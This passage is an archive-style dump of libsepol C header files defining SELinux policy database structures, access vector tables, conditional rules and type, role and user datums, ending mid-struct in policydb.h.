indexed * by a type pair and a class. An access vector * table is used to represent the type enforcement * tables. */ #ifndef _SEPOL_POLICYDB_AVTAB_H_ #define _SEPOL_POLICYDB_AVTAB_H_ #include <sys/types.h> #include <stdint.h> #ifdef __cplusplus extern "C" { #endif typedef struct avtab_key { uint16_t source_type; uint16_t target_type; uint16_t target_class; #define AVTAB_ALLOWED 0x0001 #define AVTAB_AUDITALLOW 0x0002 #define AVTAB_AUDITDENY 0x0004 #define AVTAB_NEVERALLOW 0x0080 #define AVTAB_AV (AVTAB_ALLOWED | AVTAB_AUDITALLOW | AVTAB_AUDITDENY) #define AVTAB_TRANSITION 0x0010 #define AVTAB_MEMBER 0x0020 #define AVTAB_CHANGE 0x0040 #define AVTAB_TYPE (AVTAB_TRANSITION | AVTAB_MEMBER | AVTAB_CHANGE) #define AVTAB_XPERMS_ALLOWED 0x0100 #define AVTAB_XPERMS_AUDITALLOW 0x0200 #define AVTAB_XPERMS_DONTAUDIT 0x0400 #define AVTAB_XPERMS_NEVERALLOW 0x0800 #define AVTAB_XPERMS (AVTAB_XPERMS_ALLOWED | AVTAB_XPERMS_AUDITALLOW | AVTAB_XPERMS_DONTAUDIT) #define AVTAB_ENABLED_OLD 0x80000000 #define AVTAB_ENABLED 0x8000 /* reserved for used in cond_avtab */ uint16_t specified; /* what fields are specified */ } avtab_key_t; typedef struct avtab_extended_perms { #define AVTAB_XPERMS_IOCTLFUNCTION 0x01 #define AVTAB_XPERMS_IOCTLDRIVER 0x02 /* extension of the avtab_key specified */ uint8_t specified; uint8_t driver; uint32_t perms[8]; } avtab_extended_perms_t; typedef struct avtab_datum { uint32_t data; /* access vector or type */ avtab_extended_perms_t *xperms; } avtab_datum_t; typedef struct avtab_node *avtab_ptr_t; struct avtab_node { avtab_key_t key; avtab_datum_t datum; avtab_ptr_t next; void *parse_context; /* generic context pointer used by parser; * not saved in binary policy */ unsigned merged; /* flag for avtab_write only; not saved in binary policy */ }; typedef struct avtab { avtab_ptr_t *htable; uint32_t nel; /* number of elements */ uint32_t nslot; /* number of hash slots */ uint32_t mask; /* mask to compute hash func */ } avtab_t; extern int avtab_init(avtab_t *); extern int avtab_alloc(avtab_t *, uint32_t); extern int avtab_insert(avtab_t * h, avtab_key_t * k, avtab_datum_t * d); extern avtab_datum_t *avtab_search(avtab_t * h, avtab_key_t * k); extern void avtab_destroy(avtab_t * h); extern int avtab_map(avtab_t * h, int (*apply) (avtab_key_t * k, avtab_datum_t * d, void *args), void *args); extern void avtab_hash_eval(avtab_t * h, char *tag); struct policy_file; extern int avtab_read_item(struct policy_file *fp, uint32_t vers, avtab_t * a, int (*insert) (avtab_t * a, avtab_key_t * k, avtab_datum_t * d, void *p), void *p); extern int avtab_read(avtab_t * a, struct policy_file *fp, uint32_t vers); extern avtab_ptr_t avtab_insert_nonunique(avtab_t * h, avtab_key_t * key, avtab_datum_t * datum); extern avtab_ptr_t avtab_insert_with_parse_context(avtab_t * h, avtab_key_t * key, avtab_datum_t * datum, void *parse_context); extern avtab_ptr_t avtab_search_node(avtab_t * h, avtab_key_t * key); extern avtab_ptr_t avtab_search_node_next(avtab_ptr_t node, int specified); #define MAX_AVTAB_HASH_BITS 20 #define MAX_AVTAB_HASH_BUCKETS (1 << MAX_AVTAB_HASH_BITS) #define MAX_AVTAB_HASH_MASK (MAX_AVTAB_HASH_BUCKETS-1) /* avtab_alloc uses one bucket per 2-4 elements, so adjust to get maximum buckets */ #define MAX_AVTAB_SIZE (MAX_AVTAB_HASH_BUCKETS << 1) #ifdef __cplusplus } #endif #endif /* _AVTAB_H_ */ /* FLASK */ sepol/policydb/conditional.h 0000644 00000011175 15246445046 0012166 0 ustar 00 /* Authors: Karl MacMillan <kmacmillan@tresys.com> * Frank Mayer <mayerf@tresys.com> * * Copyright (C) 2003 - 2005 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _SEPOL_POLICYDB_CONDITIONAL_H_ #define _SEPOL_POLICYDB_CONDITIONAL_H_ #include <sepol/policydb/flask_types.h> #include <sepol/policydb/avtab.h> #include <sepol/policydb/symtab.h> #include <sepol/policydb/policydb.h> #ifdef __cplusplus extern "C" { #endif #define COND_EXPR_MAXDEPTH 10 /* this is the max unique bools in a conditional expression * for which we precompute all outcomes for the expression. * * NOTE - do _NOT_ use value greater than 5 because * cond_node_t->expr_pre_comp can only hold at most 32 values */ #define COND_MAX_BOOLS 5 /* * A conditional expression is a list of operators and operands * in reverse polish notation. */ typedef struct cond_expr { #define COND_BOOL 1 /* plain bool */ #define COND_NOT 2 /* !bool */ #define COND_OR 3 /* bool || bool */ #define COND_AND 4 /* bool && bool */ #define COND_XOR 5 /* bool ^ bool */ #define COND_EQ 6 /* bool == bool */ #define COND_NEQ 7 /* bool != bool */ #define COND_LAST COND_NEQ uint32_t expr_type; uint32_t bool; struct cond_expr *next; } cond_expr_t; /* * Each cond_node_t contains a list of rules to be enabled/disabled * depending on the current value of the conditional expression. This * struct is for that list. */ typedef struct cond_av_list { avtab_ptr_t node; struct cond_av_list *next; } cond_av_list_t; /* * A cond node represents a conditional block in a policy. It * contains a conditional expression, the current state of the expression, * two lists of rules to enable/disable depending on the value of the * expression (the true list corresponds to if and the false list corresponds * to else).. */ typedef struct cond_node { int cur_state; cond_expr_t *expr; /* these true/false lists point into te_avtab when that is used */ cond_av_list_t *true_list; cond_av_list_t *false_list; /* and these are used during parsing and for modules */ avrule_t *avtrue_list; avrule_t *avfalse_list; /* these fields are not written to binary policy */ unsigned int nbools; uint32_t bool_ids[COND_MAX_BOOLS]; uint32_t expr_pre_comp; struct cond_node *next; /* a tunable conditional, calculated and used at expansion */ #define COND_NODE_FLAGS_TUNABLE 0x01 uint32_t flags; } cond_node_t; extern int cond_evaluate_expr(policydb_t * p, cond_expr_t * expr); extern cond_expr_t *cond_copy_expr(cond_expr_t * expr); extern int cond_expr_equal(cond_node_t * a, cond_node_t * b); extern int cond_normalize_expr(policydb_t * p, cond_node_t * cn); extern void cond_node_destroy(cond_node_t * node); extern void cond_expr_destroy(cond_expr_t * expr); extern cond_node_t *cond_node_find(policydb_t * p, cond_node_t * needle, cond_node_t * haystack, int *was_created); extern cond_node_t *cond_node_create(policydb_t * p, cond_node_t * node); extern cond_node_t *cond_node_search(policydb_t * p, cond_node_t * list, cond_node_t * cn); extern int evaluate_conds(policydb_t * p); extern avtab_datum_t *cond_av_list_search(avtab_key_t * key, cond_av_list_t * cond_list); extern void cond_av_list_destroy(cond_av_list_t * list); extern void cond_optimize_lists(cond_list_t * cl); extern int cond_policydb_init(policydb_t * p); extern void cond_policydb_destroy(policydb_t * p); extern void cond_list_destroy(cond_list_t * list); extern int cond_init_bool_indexes(policydb_t * p); extern int cond_destroy_bool(hashtab_key_t key, hashtab_datum_t datum, void *p); extern int cond_index_bool(hashtab_key_t key, hashtab_datum_t datum, void *datap); extern int cond_read_bool(policydb_t * p, hashtab_t h, struct policy_file *fp); extern int cond_read_list(policydb_t * p, cond_list_t ** list, void *fp); extern void cond_compute_av(avtab_t * ctab, avtab_key_t * key, struct sepol_av_decision *avd); #ifdef __cplusplus } #endif #endif /* _CONDITIONAL_H_ */ sepol/policydb/hierarchy.h 0000644 00000003432 15246445046 0011636 0 ustar 00 /* Authors: Jason Tang <jtang@tresys.com> * Joshua Brindle <jbrindle@tresys.com> * Karl MacMillan <kmacmillan@tresys.com> * * A set of utility functions that aid policy decision when dealing * with hierarchal items. * * Copyright (C) 2005 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _SEPOL_POLICYDB_HIERARCHY_H_ #define _SEPOL_POLICYDB_HIERARCHY_H_ #include <sepol/policydb/avtab.h> #include <sepol/policydb/policydb.h> #ifdef __cplusplus extern "C" { #endif extern int hierarchy_add_bounds(sepol_handle_t *handle, policydb_t *p); extern void bounds_destroy_bad(avtab_ptr_t cur); extern int bounds_check_type(sepol_handle_t *handle, policydb_t *p, uint32_t child, uint32_t parent, avtab_ptr_t *bad, int *numbad); extern int bounds_check_users(sepol_handle_t *handle, policydb_t *p); extern int bounds_check_roles(sepol_handle_t *handle, policydb_t *p); extern int bounds_check_types(sepol_handle_t *handle, policydb_t *p); extern int hierarchy_check_constraints(sepol_handle_t * handle, policydb_t * p); #ifdef __cplusplus } #endif #endif sepol/policydb/expand.h 0000644 00000007110 15246445046 0011134 0 ustar 00 /* Authors: Jason Tang <jtang@tresys.com> * Joshua Brindle <jbrindle@tresys.com> * Karl MacMillan <kmacmillan@tresys.com> * * A set of utility functions that aid policy decision when dealing * with hierarchal items. * * Copyright (C) 2005 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _SEPOL_POLICYDB_EXPAND_H #define _SEPOL_POLICYDB_EXPAND_H #include <stddef.h> #include <sepol/handle.h> #include <sepol/policydb/conditional.h> #ifdef __cplusplus extern "C" { #endif /* * Expand only the avrules for a module. It is valid for this function * to expand base into itself (i.e. base == out); the typemap for * this special case should map type[i] to i+1. Likewise the boolmap * should map bool[i] to i + 1. This function optionally expands * neverallow rules. If neverallow rules are expanded, there is no * need to copy them and doing so could cause duplicate entries when * base == out. If the neverallow rules are not expanded, they are * just copied to the destination policy so that assertion checking * can be performed after expand. No assertion or hierarchy checking * is performed by this function. */ extern int expand_module_avrules(sepol_handle_t * handle, policydb_t * base, policydb_t * out, uint32_t * typemap, uint32_t * boolmap, uint32_t * rolemap, uint32_t * usermap, int verbose, int expand_neverallow); /* * Expand all parts of a module. Neverallow rules are not expanded (only * copied). It is not valid to expand base into itself. If check is non-zero, * performs hierarchy and assertion checking. */ extern int expand_module(sepol_handle_t * handle, policydb_t * base, policydb_t * out, int verbose, int check); extern int convert_type_ebitmap(ebitmap_t * src, ebitmap_t * dst, uint32_t * typemap); extern int expand_convert_type_set(policydb_t * p, uint32_t * typemap, type_set_t * set, ebitmap_t * types, unsigned char alwaysexpand); extern int type_set_expand(type_set_t * set, ebitmap_t * t, policydb_t * p, unsigned char alwaysexpand); extern int role_set_expand(role_set_t * x, ebitmap_t * r, policydb_t * out, policydb_t * base, uint32_t * rolemap); extern int mls_semantic_level_expand(mls_semantic_level_t *sl, mls_level_t *l, policydb_t *p, sepol_handle_t *h); extern int mls_semantic_range_expand(mls_semantic_range_t *sr, mls_range_t *r, policydb_t *p, sepol_handle_t *h); extern int expand_rule(sepol_handle_t * handle, policydb_t * source_pol, avrule_t * source_rule, avtab_t * dest_avtab, cond_av_list_t ** cond, cond_av_list_t ** other, int enabled); extern int expand_avtab(policydb_t * p, avtab_t * a, avtab_t * expa); extern int expand_cond_av_list(policydb_t * p, cond_av_list_t * l, cond_av_list_t ** newl, avtab_t * expa); #ifdef __cplusplus } #endif #endif sepol/policydb/flask_types.h 0000644 00000003363 15246445046 0012207 0 ustar 00 /* -*- linux-c -*- */ /* * Author : Stephen Smalley, <sds@tycho.nsa.gov> */ #ifndef _SEPOL_POLICYDB_FLASK_TYPES_H_ #define _SEPOL_POLICYDB_FLASK_TYPES_H_ /* * The basic Flask types and constants. */ #include <sys/types.h> #include <stdint.h> #ifdef __cplusplus extern "C" { #endif /* * A security context is a set of security attributes * associated with each subject and object controlled * by the security policy. The security context type * is defined as a variable-length string that can be * interpreted by any application or user with an * understanding of the security policy. */ typedef char *sepol_security_context_t; /* * An access vector (AV) is a collection of related permissions * for a pair of SIDs. The bits within an access vector * are interpreted differently depending on the class of * the object. The access vector interpretations are specified * in flask/access_vectors, and the corresponding constants * for permissions are defined in the automatically generated * header file av_permissions.h. */ typedef uint32_t sepol_access_vector_t; /* * Each object class is identified by a fixed-size value. * The set of security classes is specified in flask/security_classes, * with the corresponding constants defined in the automatically * generated header file flask.h. */ typedef uint16_t sepol_security_class_t; #define SEPOL_SECCLASS_NULL 0x0000 /* no class */ #define SELINUX_MAGIC 0xf97cff8c #define SELINUX_MOD_MAGIC 0xf97cff8d typedef uint32_t sepol_security_id_t; #define SEPOL_SECSID_NULL 0 struct sepol_av_decision { sepol_access_vector_t allowed; sepol_access_vector_t decided; sepol_access_vector_t auditallow; sepol_access_vector_t auditdeny; uint32_t seqno; }; #ifdef __cplusplus } #endif #endif sepol/policydb/policydb.h 0000644 00000062570 15246445046 0011475 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* * Updated: Joshua Brindle <jbrindle@tresys.com> * Karl MacMillan <kmacmillan@tresys.com> * Jason Tang <jtang@tresys.com> * * Module support * * Updated: Trusted Computer Solutions, Inc. <dgoeddel@trustedcs.com> * * Support for enhanced MLS infrastructure. * * Updated: Frank Mayer <mayerf@tresys.com> and Karl MacMillan <kmacmillan@tresys.com> * * Added conditional policy language extensions * * Updated: Red Hat, Inc. James Morris <jmorris@redhat.com> * * Fine-grained netlink support * IPv6 support * Code cleanup * * Copyright (C) 2004-2005 Trusted Computer Solutions, Inc. * Copyright (C) 2003 - 2004 Tresys Technology, LLC * Copyright (C) 2003 - 2004 Red Hat, Inc. * Copyright (C) 2017 Mellanox Techonolgies Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* FLASK */ /* * A policy database (policydb) specifies the * configuration data for the security policy. */ #ifndef _SEPOL_POLICYDB_POLICYDB_H_ #define _SEPOL_POLICYDB_POLICYDB_H_ #include <stdio.h> #include <stddef.h> #include <sepol/policydb.h> #include <sepol/policydb/flask_types.h> #include <sepol/policydb/symtab.h> #include <sepol/policydb/avtab.h> #include <sepol/policydb/context.h> #include <sepol/policydb/constraint.h> #include <sepol/policydb/sidtab.h> #define ERRMSG_LEN 1024 #define POLICYDB_SUCCESS 0 #define POLICYDB_ERROR -1 #define POLICYDB_UNSUPPORTED -2 #ifdef __cplusplus extern "C" { #endif #define IB_DEVICE_NAME_MAX 64 /* * A datum type is defined for each kind of symbol * in the configuration data: individual permissions, * common prefixes for access vectors, classes, * users, roles, types, sensitivities, categories, etc. */ /* type set preserves data needed by modules such as *, ~ and attributes */ typedef struct type_set { ebitmap_t types; ebitmap_t negset; #define TYPE_STAR 1 #define TYPE_COMP 2 uint32_t flags; } type_set_t; typedef struct role_set { ebitmap_t roles; #define ROLE_STAR 1 #define ROLE_COMP 2 uint32_t flags; } role_set_t; /* Permission attributes */ typedef struct perm_datum { symtab_datum_t s; } perm_datum_t; /* Attributes of a common prefix for access vectors */ typedef struct common_datum { symtab_datum_t s; symtab_t permissions; /* common permissions */ } common_datum_t; /* Class attributes */ typedef struct class_datum { symtab_datum_t s; char *comkey; /* common name */ common_datum_t *comdatum; /* common datum */ symtab_t permissions; /* class-specific permission symbol table */ constraint_node_t *constraints; /* constraints on class permissions */ constraint_node_t *validatetrans; /* special transition rules */ /* Options how a new object user and role should be decided */ #define DEFAULT_SOURCE 1 #define DEFAULT_TARGET 2 char default_user; char default_role; char default_type; /* Options how a new object range should be decided */ #define DEFAULT_SOURCE_LOW 1 #define DEFAULT_SOURCE_HIGH 2 #define DEFAULT_SOURCE_LOW_HIGH 3 #define DEFAULT_TARGET_LOW 4 #define DEFAULT_TARGET_HIGH 5 #define DEFAULT_TARGET_LOW_HIGH 6 char default_range; } class_datum_t; /* Role attributes */ typedef struct role_datum { symtab_datum_t s; ebitmap_t dominates; /* set of roles dominated by this role */ type_set_t types; /* set of authorized types for role */ ebitmap_t cache; /* This is an expanded set used for context validation during parsing */ uint32_t bounds; /* bounds role, if exist */ #define ROLE_ROLE 0 /* regular role in kernel policies */ #define ROLE_ATTRIB 1 /* attribute */ uint32_t flavor; ebitmap_t roles; /* roles with this attribute */ } role_datum_t; typedef struct role_trans { uint32_t role; /* current role */ uint32_t type; /* program executable type, or new object type */ uint32_t tclass; /* process class, or new object class */ uint32_t new_role; /* new role */ struct role_trans *next; } role_trans_t; typedef struct role_allow { uint32_t role; /* current role */ uint32_t new_role; /* new role */ struct role_allow *next; } role_allow_t; /* filename_trans rules */ typedef struct filename_trans { uint32_t stype; uint32_t ttype; uint32_t tclass; char *name; } filename_trans_t; typedef struct filename_trans_datum { uint32_t otype; /* expected of new object */ } filename_trans_datum_t; /* Type attributes */ typedef struct type_datum { symtab_datum_t s; uint32_t primary; /* primary name? can be set to primary value if below is TYPE_ */ #define TYPE_TYPE 0 /* regular type or alias in kernel policies */ #define TYPE_ATTRIB 1 /* attribute */ #define TYPE_ALIAS 2 /* alias in modular policy */ uint32_t flavor; ebitmap_t types; /* types with this attribute */ #define TYPE_FLAGS_PERMISSIVE (1 << 0) #define TYPE_FLAGS_EXPAND_ATTR_TRUE (1 << 1) #define TYPE_FLAGS_EXPAND_ATTR_FALSE (1 << 2) #define TYPE_FLAGS_EXPAND_ATTR (TYPE_FLAGS_EXPAND_ATTR_TRUE | \ TYPE_FLAGS_EXPAND_ATTR_FALSE) uint32_t flags; uint32_t bounds; /* bounds type, if exist */ } type_datum_t; /* * Properties of type_datum * available on the policy version >= (MOD_)POLICYDB_VERSION_BOUNDARY */ #define TYPEDATUM_PROPERTY_PRIMARY 0x0001 #define TYPEDATUM_PROPERTY_ATTRIBUTE 0x0002 #define TYPEDATUM_PROPERTY_ALIAS 0x0004 /* userspace only */ #define TYPEDATUM_PROPERTY_PERMISSIVE 0x0008 /* userspace only */ /* User attributes */ typedef struct user_datum { symtab_datum_t s; role_set_t roles; /* set of authorized roles for user */ mls_semantic_range_t range; /* MLS range (min. - max.) for user */ mls_semantic_level_t dfltlevel; /* default login MLS level for user */ ebitmap_t cache; /* This is an expanded set used for context validation during parsing */ mls_range_t exp_range; /* expanded range used for validation */ mls_level_t exp_dfltlevel; /* expanded range used for validation */ uint32_t bounds; /* bounds user, if exist */ } user_datum_t; /* Sensitivity attributes */ typedef struct level_datum { mls_level_t *level; /* sensitivity and associated categories */ unsigned char isalias; /* is this sensitivity an alias for another? */ unsigned char defined; } level_datum_t; /* Category attributes */ typedef struct cat_datum { symtab_datum_t s; unsigned char isalias; /* is this category an alias for another? */ } cat_datum_t; typedef struct range_trans { uint32_t source_type; uint32_t target_type; uint32_t target_class; } range_trans_t; /* Boolean data type */ typedef struct cond_bool_datum { symtab_datum_t s; int state; #define COND_BOOL_FLAGS_TUNABLE 0x01 /* is this a tunable? */ uint32_t flags; } cond_bool_datum_t; struct cond_node; typedef struct cond_node cond_list_t; struct cond_av_list; typedef struct class_perm_node { uint32_t tclass; uint32_t data; /* permissions or new type */ struct class_perm_node *next; } class_perm_node_t; #define xperm_test(x, p) (1 & (p[x >> 5] >> (x & 0x1f))) #define xperm_set(x, p) (p[x >> 5] |= (1 << (x & 0x1f))) #define xperm_clear(x, p) (p[x >> 5] &= ~(1 << (x & 0x1f))) #define EXTENDED_PERMS_LEN 8 typedef struct av_extended_perms { #define AVRULE_XPERMS_IOCTLFUNCTION 0x01 #define AVRULE_XPERMS_IOCTLDRIVER 0x02 uint8_t specified; uint8_t driver; /* 256 bits of permissions */ uint32_t perms[EXTENDED_PERMS_LEN]; } av_extended_perms_t; typedef struct avrule { /* these typedefs are almost exactly the same as those in avtab.h - they are * here because of the need to include neverallow and dontaudit messages */ #define AVRULE_ALLOWED AVTAB_ALLOWED #define AVRULE_AUDITALLOW AVTAB_AUDITALLOW #define AVRULE_AUDITDENY AVTAB_AUDITDENY #define AVRULE_DONTAUDIT 0x0008 #define AVRULE_NEVERALLOW AVTAB_NEVERALLOW #define AVRULE_AV (AVRULE_ALLOWED | AVRULE_AUDITALLOW | AVRULE_AUDITDENY | AVRULE_DONTAUDIT | AVRULE_NEVERALLOW) #define AVRULE_TRANSITION AVTAB_TRANSITION #define AVRULE_MEMBER AVTAB_MEMBER #define AVRULE_CHANGE AVTAB_CHANGE #define AVRULE_TYPE (AVRULE_TRANSITION | AVRULE_MEMBER | AVRULE_CHANGE) #define AVRULE_XPERMS_ALLOWED AVTAB_XPERMS_ALLOWED #define AVRULE_XPERMS_AUDITALLOW AVTAB_XPERMS_AUDITALLOW #define AVRULE_XPERMS_DONTAUDIT AVTAB_XPERMS_DONTAUDIT #define AVRULE_XPERMS_NEVERALLOW AVTAB_XPERMS_NEVERALLOW #define AVRULE_XPERMS (AVRULE_XPERMS_ALLOWED | AVRULE_XPERMS_AUDITALLOW | \ AVRULE_XPERMS_DONTAUDIT | AVRULE_XPERMS_NEVERALLOW) uint32_t specified; #define RULE_SELF 1 uint32_t flags; type_set_t stypes; type_set_t ttypes; class_perm_node_t *perms; av_extended_perms_t *xperms; unsigned long line; /* line number from policy.conf where * this rule originated */ /* source file name and line number (e.g. .te file) */ char *source_filename; unsigned long source_line; struct avrule *next; } avrule_t; typedef struct role_trans_rule { role_set_t roles; /* current role */ type_set_t types; /* program executable type, or new object type */ ebitmap_t classes; /* process class, or new object class */ uint32_t new_role; /* new role */ struct role_trans_rule *next; } role_trans_rule_t; typedef struct role_allow_rule { role_set_t roles; /* current role */ role_set_t new_roles; /* new roles */ struct role_allow_rule *next; } role_allow_rule_t; typedef struct filename_trans_rule { type_set_t stypes; type_set_t ttypes; uint32_t tclass; char *name; uint32_t otype; /* new type */ struct filename_trans_rule *next; } filename_trans_rule_t; typedef struct range_trans_rule { type_set_t stypes; type_set_t ttypes; ebitmap_t tclasses; mls_semantic_range_t trange; struct range_trans_rule *next; } range_trans_rule_t; /* * The configuration data includes security contexts for * initial SIDs, unlabeled file systems, TCP and UDP port numbers, * network interfaces, and nodes. This structure stores the * relevant data for one such entry. Entries of the same kind * (e.g. all initial SIDs) are linked together into a list. */ typedef struct ocontext { union { char *name; /* name of initial SID, fs, netif, fstype, path */ struct { uint8_t protocol; uint16_t low_port; uint16_t high_port; } port; /* TCP or UDP port information */ struct { uint32_t addr; /* network order */ uint32_t mask; /* network order */ } node; /* node information */ struct { uint32_t addr[4]; /* network order */ uint32_t mask[4]; /* network order */ } node6; /* IPv6 node information */ uint32_t device; uint16_t pirq; struct { uint64_t low_iomem; uint64_t high_iomem; } iomem; struct { uint32_t low_ioport; uint32_t high_ioport; } ioport; struct { uint64_t subnet_prefix; uint16_t low_pkey; uint16_t high_pkey; } ibpkey; struct { char *dev_name; uint8_t port; } ibendport; } u; union { uint32_t sclass; /* security class for genfs */ uint32_t behavior; /* labeling behavior for fs_use */ } v; context_struct_t context[2]; /* security context(s) */ sepol_security_id_t sid[2]; /* SID(s) */ struct ocontext *next; } ocontext_t; typedef struct genfs { char *fstype; struct ocontext *head; struct genfs *next; } genfs_t; /* symbol table array indices */ #define SYM_COMMONS 0 #define SYM_CLASSES 1 #define SYM_ROLES 2 #define SYM_TYPES 3 #define SYM_USERS 4 #define SYM_BOOLS 5 #define SYM_LEVELS 6 #define SYM_CATS 7 #define SYM_NUM 8 /* object context array indices */ #define OCON_ISID 0 /* initial SIDs */ #define OCON_FS 1 /* unlabeled file systems */ #define OCON_PORT 2 /* TCP and UDP port numbers */ #define OCON_NETIF 3 /* network interfaces */ #define OCON_NODE 4 /* nodes */ #define OCON_FSUSE 5 /* fs_use */ #define OCON_NODE6 6 /* IPv6 nodes */ #define OCON_IBPKEY 7 /* Infiniband PKEY */ #define OCON_IBENDPORT 8 /* Infiniband End Port */ /* object context array indices for Xen */ #define OCON_XEN_ISID 0 /* initial SIDs */ #define OCON_XEN_PIRQ 1 /* physical irqs */ #define OCON_XEN_IOPORT 2 /* io ports */ #define OCON_XEN_IOMEM 3 /* io memory */ #define OCON_XEN_PCIDEVICE 4 /* pci devices */ #define OCON_XEN_DEVICETREE 5 /* device tree node */ /* OCON_NUM needs to be the largest index in any platform's ocontext array */ #define OCON_NUM 9 /* section: module information */ /* scope_index_t holds all of the symbols that are in scope in a * particular situation. The bitmaps are indices (and thus must * subtract one) into the global policydb->scope array. */ typedef struct scope_index { ebitmap_t scope[SYM_NUM]; #define p_classes_scope scope[SYM_CLASSES] #define p_roles_scope scope[SYM_ROLES] #define p_types_scope scope[SYM_TYPES] #define p_users_scope scope[SYM_USERS] #define p_bools_scope scope[SYM_BOOLS] #define p_sens_scope scope[SYM_LEVELS] #define p_cat_scope scope[SYM_CATS] /* this array maps from class->value to the permissions within * scope. if bit (perm->value - 1) is set in map * class_perms_map[class->value - 1] then that permission is * enabled for this class within this decl. */ ebitmap_t *class_perms_map; /* total number of classes in class_perms_map array */ uint32_t class_perms_len; } scope_index_t; /* a list of declarations for a particular avrule_decl */ /* These two structs declare a block of policy that has TE and RBAC * statements and declarations. The root block (the global policy) * can never have an ELSE branch. */ typedef struct avrule_decl { uint32_t decl_id; uint32_t enabled; /* whether this block is enabled */ cond_list_t *cond_list; avrule_t *avrules; role_trans_rule_t *role_tr_rules; role_allow_rule_t *role_allow_rules; range_trans_rule_t *range_tr_rules; scope_index_t required; /* symbols needed to activate this block */ scope_index_t declared; /* symbols declared within this block */ /* type transition rules with a 'name' component */ filename_trans_rule_t *filename_trans_rules; /* for additive statements (type attribute, roles, and users) */ symtab_t symtab[SYM_NUM]; /* In a linked module this will contain the name of the module * from which this avrule_decl originated. */ char *module_name; struct avrule_decl *next; } avrule_decl_t; typedef struct avrule_block { avrule_decl_t *branch_list; avrule_decl_t *enabled; /* pointer to which branch is enabled. this is used in linking and never written to disk */ #define AVRULE_OPTIONAL 1 uint32_t flags; /* any flags for this block, currently just optional */ struct avrule_block *next; } avrule_block_t; /* Every identifier has its own scope datum. The datum describes if * the item is to be included into the final policy during * expansion. */ typedef struct scope_datum { /* Required for this decl */ #define SCOPE_REQ 1 /* Declared in this decl */ #define SCOPE_DECL 2 uint32_t scope; uint32_t *decl_ids; uint32_t decl_ids_len; /* decl_ids is a list of avrule_decl's that declare/require * this symbol. If scope==SCOPE_DECL then this is a list of * declarations. If the symbol may only be declared once * (types, bools) then decl_ids_len will be exactly 1. For * implicitly declared things (roles, users) then decl_ids_len * will be at least 1. */ } scope_datum_t; /* The policy database */ typedef struct policydb { #define POLICY_KERN SEPOL_POLICY_KERN #define POLICY_BASE SEPOL_POLICY_BASE #define POLICY_MOD SEPOL_POLICY_MOD uint32_t policy_type; char *name; char *version; int target_platform; /* Set when the policydb is modified such that writing is unsupported */ int unsupported_format; /* Whether this policydb is mls, should always be set */ int mls; /* symbol tables */ symtab_t symtab[SYM_NUM]; #define p_commons symtab[SYM_COMMONS] #define p_classes symtab[SYM_CLASSES] #define p_roles symtab[SYM_ROLES] #define p_types symtab[SYM_TYPES] #define p_users symtab[SYM_USERS] #define p_bools symtab[SYM_BOOLS] #define p_levels symtab[SYM_LEVELS] #define p_cats symtab[SYM_CATS] /* symbol names indexed by (value - 1) */ char **sym_val_to_name[SYM_NUM]; #define p_common_val_to_name sym_val_to_name[SYM_COMMONS] #define p_class_val_to_name sym_val_to_name[SYM_CLASSES] #define p_role_val_to_name sym_val_to_name[SYM_ROLES] #define p_type_val_to_name sym_val_to_name[SYM_TYPES] #define p_user_val_to_name sym_val_to_name[SYM_USERS] #define p_bool_val_to_name sym_val_to_name[SYM_BOOLS] #define p_sens_val_to_name sym_val_to_name[SYM_LEVELS] #define p_cat_val_to_name sym_val_to_name[SYM_CATS] /* class, role, and user attributes indexed by (value - 1) */ class_datum_t **class_val_to_struct; role_datum_t **role_val_to_struct; user_datum_t **user_val_to_struct; type_datum_t **type_val_to_struct; /* module stuff section -- used in parsing and for modules */ /* keep track of the scope for every identifier. these are * hash tables, where the key is the identifier name and value * a scope_datum_t. as a convenience, one may use the * p_*_macros (cf. struct scope_index_t declaration). */ symtab_t scope[SYM_NUM]; /* module rule storage */ avrule_block_t *global; /* avrule_decl index used for link/expand */ avrule_decl_t **decl_val_to_struct; /* compiled storage of rules - use for the kernel policy */ /* type enforcement access vectors and transitions */ avtab_t te_avtab; /* bools indexed by (value - 1) */ cond_bool_datum_t **bool_val_to_struct; /* type enforcement conditional access vectors and transitions */ avtab_t te_cond_avtab; /* linked list indexing te_cond_avtab by conditional */ cond_list_t *cond_list; /* role transitions */ role_trans_t *role_tr; /* role allows */ role_allow_t *role_allow; /* security contexts of initial SIDs, unlabeled file systems, TCP or UDP port numbers, network interfaces and nodes */ ocontext_t 